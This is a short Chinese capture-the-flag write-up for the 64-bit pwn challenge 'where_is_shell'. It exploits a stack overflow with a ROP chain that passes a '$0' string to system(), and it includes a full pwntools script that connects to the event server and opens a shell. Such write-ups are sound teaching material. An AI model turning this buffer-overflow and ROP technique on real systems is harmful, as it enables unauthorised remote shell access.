2025 SWPU-NSSCTF 秋季招新入门 where_is_shell
首先检查一下文件的保护措施

然后用ida打开看一下

这里的main函数就存在栈溢出,然后在这里已经有system函数了,还差/bin/sh
观察函数发现

这里标红了,具体看一下

这里的24 30 转化为10进制表现为$0,而$0就代指/bin/sh
所以/bin/sh就在0x400540+1处
最后就是64位下调用system函数要注意栈对齐
点击查看代码
from pwn import *
io=remote("node4.anna.nssctf.cn",28777)
system=0x400430
pop_rdi=0x4005e3
binsh=0x400540+1
ret = 0x0400416
payload=b"A"*(0x10+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
io.sendline(payload)
io.interactive()

浙公网安备 33010602011771号